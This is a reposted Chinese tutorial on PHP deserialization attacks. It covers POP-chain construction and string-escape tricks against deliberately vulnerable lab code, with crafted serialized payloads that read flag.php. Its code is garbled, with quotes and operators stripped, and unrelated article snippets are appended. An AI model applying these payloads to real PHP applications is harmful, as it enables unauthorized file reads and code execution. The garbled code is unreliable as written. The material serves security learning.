求个没封的w站2021不用下载winestore wordpress

news/2025/10/5 12:55:27/文章来源:
求个没封的w站2021不用下载,winestore wordpress,长泰网站建设,企业安全文化建设中的安全承诺目录 pop链前置知识#xff0c;魔术方法触发规则 pop构造链解释#xff08;开始烧脑了#xff09; 字符串逃逸基础 字符减少 字符串逃逸基础 字符增加 实例获取flag 字符串增多逃逸 字符串减少逃逸 延续反序列化漏洞(一)的内容 pop链前置知识#xff0c;魔术方法触…目录 pop链前置知识魔术方法触发规则 pop构造链解释开始烧脑了 字符串逃逸基础 字符减少 字符串逃逸基础 字符增加 实例获取flag 字符串增多逃逸 字符串减少逃逸 延续反序列化漏洞(一)的内容 pop链前置知识魔术方法触发规则 魔术方法触发前提魔术方法所在类(或对象)被调用 类的反序列化的时候 只会触发当前类中的魔术方法 和其他类无关 很好理解 C类被反序列化后得到对象A 其值从序列化的字符串中得到 但是对象A如果触发魔术方法只能触发C类中的魔术方法 在这里也说一下如果字符串中有某一类反序列化后 系统会认为该对象属于这个类 ?php highlight_file(__FILE__); error_reporting(0); class fast {public $source;public function __wakeup(){echo wakeup is here!!;echo $this-source;} } class sec {var $benben;public function __tostring(){echo tostring is here!!;//这是目标} } $b $_GET[benben]; unserialize($b); ? 目标触发__tostring魔术方法 这题的很简单 如果想调用wakeup方法 必须反序列化fast类 并且满足wakeup魔术方法的触发条件 这样才能自动调用魔术方法,目标是触发tostring,让source是个对象 就能触发tostring,让source成为sec类的对象 并把对象当成字符串调用就能触发tostring 手工制作pocO:4:fast:1:{s:6:source;O:3:sec:1:{s:6:benben;N;}} 修改源码生成序列化的字符串(poc) 构造poc后 代码执行顺序就是反序列化poc可以理解为反序列化fast类的序列化的字符串从而触发wakeup魔术方法 从而执行echo输出source 这是的source已经是sec对象了 echo以字符串形式输出source 就出发了sec类中的tostring魔术方法 注意 wakeup限制性 当执行到echo语句的时候 就将sec实例化成source这个对象了 从而达成了漏洞利用 ?php highlight_file(__FILE__); error_reporting(0); class fast {public $source; } class sec {var $benben; } $anew sec(); $bnew fast(); $b-source$a; echo serialize($b); ? 将poc进行传参 成功调用__tostring魔术方法 pop构造链解释开始烧脑了 说是烧脑 我感觉不难 pop链构造 poc编写 pop链在反序列化中我们能控制的数据就是对象中的属性值成员变量所以在php反序列化中有一种漏洞利用方法叫面向属性编程即POP POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据 大白话通过修改序列化的字符串里的属性值从而使多个魔术方法多次跳转得到敏感数据整个过程是POP链最终得到的是POC POC编写 在安全界可以理解成漏洞验证程序POC是一段不完整的程序仅仅是为了证明提出者的观点的一段代码 例题 获取flag 提示flag在flag.php中 ?php //flag is in flag.php highlight_file(__FILE__); error_reporting(0); class Modifier {private $var;public function append($value){include($value);echo $flag;}public function __invoke(){$this-append($this-var);} }class Show{public $source;public $str;public function __toString(){return $this-str-source;}public function __wakeup(){echo $this-source;} }class Test{public $p;public function __construct(){$this-p array();}public function __get($key){$function $this-p;return $function();} }if(isset($_GET[pop])){unserialize($_GET[pop]); } ? 构造pop链反推法 1.需要找到include函数才能包含一个flag.php的文件 并发现下一条语句为输出flag 所在方法为append include参数通过appen方法传进来 2.找到调用append方法的魔术方法__invoke append参数的值通过当前类属性var中来 所以要将var值设为flag.php 3 看哪里调用了__invoke魔术方法  发现test类中的__get魔术方法会触发 设置p为__invoke所在类的对象  4 看哪里调用了__get魔术方法 show类中的__tostring魔术方法会触发 设置str为__get所在类的对象 5看哪里调用了__tostring魔术方法 在当前类的__wakeup会触发 将source设置成当前类的对象 6 看哪里触发了__wakeup 在GET传参后如果反序列化show类会触发__wakeup 得出pop链顺序 构造poc 就需要将顺序调过来 这种pop链的poc最好就不要用手工构造的方式 比较麻烦 手工构造 ?popO:4:Show:2:{s:6:source;r:1;s:3:str;O:4:Test:1:{s:1:p;O:8:Modifier:1:{s:13:%00Modifier%00var;s:8:flag.php;}}} 使用源代码构造 第一步 ?php class Modifier {private $var;//var是flag.php } class Show{public $source;//自己类的对象public $str;//test类对象 }class Test{public $p;//Modifier对象 } $a ? 第二步 ?php highlight_file(__FILE__); error_reporting(0); class Modifier {private $varflag.php;//var是flag.php 私有属性只能在类里定义 } class Show{public $source;//自己类的对象public $str;//test类对象 }class Test{public $p;//Modifier对象 } $anew Modifier(); $bnew Show(); $cnew Test(); $b-source$b; $b-str$c; $c-p$a; echo serialize($b); ? 输出得到poc 到这里我出现问题了 我测试检查了一个小时 我的poc和老师一摸一样 但是 我测试发现代码执行到__get处没有出发invoke poc和老师的一摸一样 不知道什么原因 然后我把靶场php版本切换到7.0以上就好使了 哈哈 成功获取flag 字符串逃逸基础 字符减少 反序列化分隔符反序列化以;}结束后面的字符串不影响正常的反序列化 属性逃逸一般再数据先经过一次serialize再经过unserialize本来如果有两个属性 但是在其中一个属性的值中构造poc 再通过特定原因 这时反序列化就能出来三个属性 有四点反序列化的知识的基础 1 虽然反序列化的对象A的值从序列化的字符串中来但是如果字符串中有v1 v2 属性 类A里面还有一个只有v3属性 反序列化的时候系统会认为这就是类A的对象 字符串已经定义了v1v2 系统发现没有v3呢 然后就加上去了 切记无论类里面定没定义属性值 只要是字符串定义了值 对象A的值都是从字符串中定义的值来 字符串要是没定义 那就从原有类中得来 举个例子O:4:Show:2:{s:6:source;r:1;} 2  这2个属性必须要和字符串的属性数目对应 3  这6个字符串长度 必须也要和属性名长度对应 4 a\b字符串长度就是3 通过s:3来确定的 所以必须要和属性名或值的长度对应 要不然不知道这个双引号是字符还是 功能符 以上就算是前置知识了 属性逃逸刚刚原理说的比较含糊 直接上例题 ?php highlight_file(__FILE__); error_reporting(0); class A{public $v1 abcsystem()system()system();public $v2 123456789;public function __construct($arga,$argc){$this-v1 $arga;$this-v2 $argc;} } $a $_GET[v1]; $b $_GET[v2]; $data serialize(new A($a,$b)); $data str_replace(system(),,$data); var_dump(unserialize($data)); ? 以前都是直接传一个需要反序列化的参数 为了出发方法而达到我们想要的目的 但是字符串逃逸属于 明明类中有2个属性 我们如何构造成3个属性呢(这个时候 有人就想 直接修改字符串加上第三个属性得了呗 但是这道题没有修改字符串的条件 只让你传属性一和属性二的参数) 得出O:1:A:2:{s:2:v1;s:27:abcsystem()system()system();s:2:v2;s:9:123456789;} $data str_replace(system(),,$data); //在这如果把system()去除 因为原有的长度是27 现在只剩下adc三个字符串了 前面也说了这个s:27这个长度要和值对应 所以他会继续往下走把后面的字符也当成这个v1的值标红的这个时候会报错 因为反序列化往下执行后发现这个值末尾没有双引号呀 O:1:A:2:{s:2:v1;s:27:abc;s:2:v2;s:3:123456789;} 这个时候我们就要构造v2的属性的值(poc) v2 1234567;s:2:v3;s:3:123;} 这个时候正常序列化的值为 红色的为属性值 O:1:A:2:{s:2:v1;s:27:abcsystem()system()system();s:2:v2;s:29:1234567;s:2:v3;s:3:123;};} 去除了system()后 {s:2:v1;s:27:abc;s:2:v2;s:29:1234567;s:2:v3;s:3:123;};} 如果把v2的值去除最后的分号和花括号还有双引号也对 v2 1234567;s:2:v3;s:3:123 {s:2:v1;s:27:abc;s:2:v2;s:29:1234567;s:2:v3;s:3:123;} O:1:A:2:{s:2:v1;s:27:abc;s:2:v2;s:28:1234567;s:2:v3;s:3:123;};} 在反序列化的时候核查到有2(紫色标注的)个属性 所以他会自动向下执行这个时候就多出了一个v3的属性 这样反序列化就出现了3个属性  属性v1的值就是abc;s:2:v2;s:28:1234567 属性v2的值就是原有的123456789 属性v3的值就是123 该对象的值v1v3从字符串中获得 v2从类中获得 这个时候肯定有人想在序列化的时候不是以及给v2赋了一个新值嘛 为什么这里还是123456789 因为 序列化只是为了按照要求生成指定的字符串 的确生成了包含v2指定值的字符串 但是序列化结束后类原有的样子是不变的只有那个字符串里面有一个v2的属性 并且值为指定的 最终成功 反序列化字符串减少逃逸多逃逸出一个成员属性 第一个字符串减少吃掉有效代码在第二个字符串构造代码 字符串逃逸基础 字符增加 反序列化字符串增多逃逸构造出一个逃逸成员属性 第一个字符串增多吐出多余代码把多余位代码构造成逃逸的成员属性 字符串逃逸基础 字符串增多 演示代码 ?php highlight_file(__FILE__); error_reporting(0); class A{public $v1 ls;public $v2 123;public function __construct($arga,$argc){$this-v1 $arga;$this-v2 $argc;} } $a $_GET[v1]; $b $_GET[v2]; $data serialize(new A($a,$b)); $data str_replace(ls,pwd,$data);var_dump(unserialize($data)); 他将ls换成了pwd  我们想让反序列化识别的字符串 ;s:2:v3;s:3:666;}一共22个位置 该代码中将ls替换为pwd 一个ls就能吐出一个位置来 需要22个ls才可以 构造v1参数的值为 lslslslslslslslslslslslslslslslslslslslslsls;s:2:v3;s:3:666;} 正常情况 替换的情况 把ls替换成pwd后字符串就变成了88 pwd占了66个位置 这个时候正好;s:3:v3;s:3:666;}逃逸出来 用于包裹pwd的字符串 系统往下识别就识别出了v3属性 并且看到了;}就停止了反序列化 具体细节和减少逃逸一个道理没啥区别 不细说了 实例获取flag 字符串增多逃逸 ?php function filter($name){$safearray(flag,php);$namestr_replace($safe,hack,$name);return $name; } class test{var $user;var $passdaydream;function __construct($user){$this-user$user;} } $param$_GET[param]; $paramserialize(new test($param));//test类进行实例化为param对象 并对类中的user赋值为获得的参数 // 序列化后值为 $paramO:4:test:2:{s:4:user;s:?:;s:4:pass;s:8:daydream;} $profileunserialize(filter($param)); //将对象传入filter函数 函数内容是如果对象中国存在flag或者php替换成hack(感觉没啥用呢) ,现在发现有用了 将php替换成hack 一个php就能多出一个位置来 //之后返回该对象并反序列化 在反序列化的过程中要把pass的值设置为escaping //这样一来我们就需要在序列化的字符串中参数user处构造poc //如果pass的值为escaping 那么序列化的样子就是 s:4:pass;s:8:escaping; -- ;s:4:pass;s:8:escaping;} //O:4:test:2:{s:4:user;s:116:phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp;s:4:pass;s:8:escaping;} ........;s:4:pass;s:8:daydream;} //现在有116个字符串 将php换成hack后变成145个字符串 正好;s:4:pass;s:8:escaping;}就逃逸出来了 if ($profile-passescaping){ echo file_get_contents(flag.php); } ? 传参后成功 字符串减少逃逸 ?php highlight_file(__FILE__); error_reporting(0); function filter($name){$safearray(flag,php);$namestr_replace($safe,hk,$name);//匹配如果存在safe数组的值 替换成hkreturn $name; } class test{var $user;var $pass;var $vip false ;function __construct($user,$pass){$this-user$user;$this-pass$pass;} } $param$_GET[user];//传入两个参数 $pass$_GET[pass]; $paramserialize(new test($param,$pass));//实例化test类并序列化赋值给param对象 在实例化的过程//中将传入的两个参数赋值给属性user和pass //;s:3:vip;s:4true;} //s:4:user;s:?:;s:4:pass;s:xx:(;s:3:vip;s:4true;});//use:flagflagflagflagflagflagflagflagflagphp //pass:;s:3:vip;s:4true;} $profileunserialize(filter($param));//将字符串作为参数传给函数filter 将返回值反序列化if ($profile-vip){echo file_get_contents(flag.php); } ? 按照代码中的注释我去验证poc发现竟然后去不到flag 研究了很久很久  最后发现他在实例化的时候 把原有类中的vip也给实例化了这样实例化的字符串会有3个属性 O:4:test:3:{...} 当时我以为传参user和pass只会实例化为两个属性 忘记了他会自动把类中的vip也进行实例化 就当成O:4:test:2:{...} 构造完 发现没问题呀就是不出flag 给我气完了 真的这么简单我就然没想到 以后还得更加认真一点 正确的poc ?userflagflagflagflagflagflagflagflagflagflagpass1;s:4:pass;s:6:benben;s:3:vip;b:1;} 成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/928274.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

创建网站平台要多少钱商城网站建设步骤

STM32 —— 车灯测试台架 宗旨:技术的学习是有限的,分享的精神是无限的。 需求: (1)、点灯控制器:在线节拍,离线节拍; (2)、PWM控制盒:在线PWM&…

揭阳自助建站软件河南省住房建设厅官方网站

文章目录 线性表动态分配的顺序存储结构链式存储 线性表 动态分配的顺序存储结构 通过分析代码,我们发现,要注意什么: 要分清你的下标Insert 函数是可以用来没有元素的时候,增加元素的Init(或者Create )函数一般只用来分配空间…

青岛建设交易中心网站首页wordpress开启redis缓存

用了很久的容器化,最近突然看到一个问题问: docker和K8S究竟有什么区别,到底该怎么选?我认真思考了一会,发现一时间还真说不明白,于是就研究了一段时间发布今天的博文! Docker vs Kubernetes&a…

深入解析:vscode + cmake + ninja+ gcc 搭建MCU开发环境

深入解析:vscode + cmake + ninja+ gcc 搭建MCU开发环境pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas…

网站建设知名企业wordpress文章页添加小工具

说明:本文是七月算法5月深度学习班第五次课听课笔记。黄色标注的部分为自己不太确定的部分。 训练 mini-batch SGD 神经网络使用mini-batch SGD训练得到最优权重。训练过程如下:(以下参考了andrew ng的机器学习课程)例如训练样本…

2025 年 AI 应用数据泄露防范:以“流式网关”为中枢的链路化治理与合规映射

2025 年 AI 应用数据泄露防范:以“流式网关”为中枢的链路化治理与合规映射AI 原生应用把“数据—模型—业务”三条链路深度耦合,泄露与越权从“点状事件”转为“链路型、低信号、渐进式”攻击:提示词注入→RAG 越权…

安装飞牛os出现452错误的解决方法

安装飞牛os出现452错误的解决方法最近尝试飞牛os系统,按照官网的安装教程,选择Graphical Install安装时出现452:out of range pointer错误。 最先尝试用ventoy做引导盘,能启动并进行安装,但却无法正常引导系统。 …

郑州春蕾网站建设仿站小工具下载

虚拟内存是一种对主存的抽象概念。 (1)将主存看作一个存储在磁盘上的地址空间的高速缓存,在主存中只保存活动区域,并根据需要在磁盘和主存之间来回传送数据,通过这种方式高效地使用内存 (2)为每…

高性能网站建设进阶...在线网站建设询问报价

摘要:偶然机会接触到python语音,感觉语法简单、功能强大,刚好朋友分享了一个网课《python 爬虫与数据可视化》,于是在工作与闲暇时间学习起来,并做如下课程笔记整理,整体大概分为4个部分(1.pyth…

已备案网站新增接入wordpress 文章空白页

本周重点 ①Linux系统提权 ②Linux权限维持 ③Windows 提权 ④Windows权限维持 ⑤SSRF利用 ⑥内网环境 ⑦内网扫描 ⑧漏洞利用 ⑨内网代理 ⑩获取主机控制权其他方案 ⑩①vuln靶场 ⑩②CS代理与ICMP隧道 本周主要内容 ①Linux系统提权 系统提权是成功入侵系统之…

Alexa进入自主时代:AI技术新突破

文章探讨了Alexa语音助手在人工智能领域的技术演进,重点介绍了自我感知、自主学习和自助服务三大技术方向,包括常识推理、多轮对话状态跟踪、少样本学习等核心技术突破,展示了AI系统向更自主化发展的技术路径。Alex…

淮北市住房和城乡建设局网站html5韩国网站模板

当在 Java 项目中使用 Redis 时,特别是在 Spring Boot 项目中使用 Redis,下面是一个详细的教程,涵盖了 Redis 的配置和使用。 在 Spring Boot 项目中配置和使用 Redis 步骤 1:添加 Redis 依赖 在你的 Spring Boot 项目的 pom.x…

铜仁市网站建设情况南京微网站开发

功能描述:开发一个类似于 Windows 命令行提示符或 Linux 命令行终端的应用程序 一、最终演示效果 QtCmd 不是因为它是 Qt 的组件,而是采用 Qt 开发了一个类似 Windows 命令提示符或者 Linux 命令行终端的应用程序,故取名为 QtCmd。 上述演示…

入门AJAX——XMLHttpRequest(Get) - 教程

入门AJAX——XMLHttpRequest(Get) - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

知识付费网站搭建微信营销的功能

前段时间,写程序时,出了错误,竟然没有想到是自己属性命名的问题,哎~~~真是一定要注意规范呀,在这里我从网上找了些,规范作为参考 Sun 推荐的命名规范 1 ,类名要首字母大写,后面的单词…

公司网站php天河网站建设哪家好

文章目录 1. TSP案例引入2. 考虑惰性约束的求解效率对比2.1 求解基础TSP模型2.2 基于SCIP的Conshdlr添加惰性约束1. TSP案例引入 在运筹学建模和求解过程中,“lazy constraints”(惰性约束)是一种动态添加约束的策略,松弛部分约束后求解得到的“可行解”,不断地进行可行性…

ROM和RAM

1.1计算机中有两种存储器 (1)内存:内存与CPU接轨比较紧密,内存可以被CPU直接访问,内存可按照字节单位来随机访问,程序运行时离不开内存,程序中的变量都是定义在内存中,内存受限于物理技术和成本,容量比较小而…

深入解析:C#学习26天:内存优化的几种方法

深入解析:C#学习26天:内存优化的几种方法pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

电子商务网站建设 代码学校诗歌网站建设

在存在缓存的情况下,删除较前的slide,会出现当前slide与后一个slide重复出现的情况 假设当前存在5个slide,且这5个slide已缓存,则删除slide2后,仍为5个slide,且slide2的内容变为slide3的内容,此…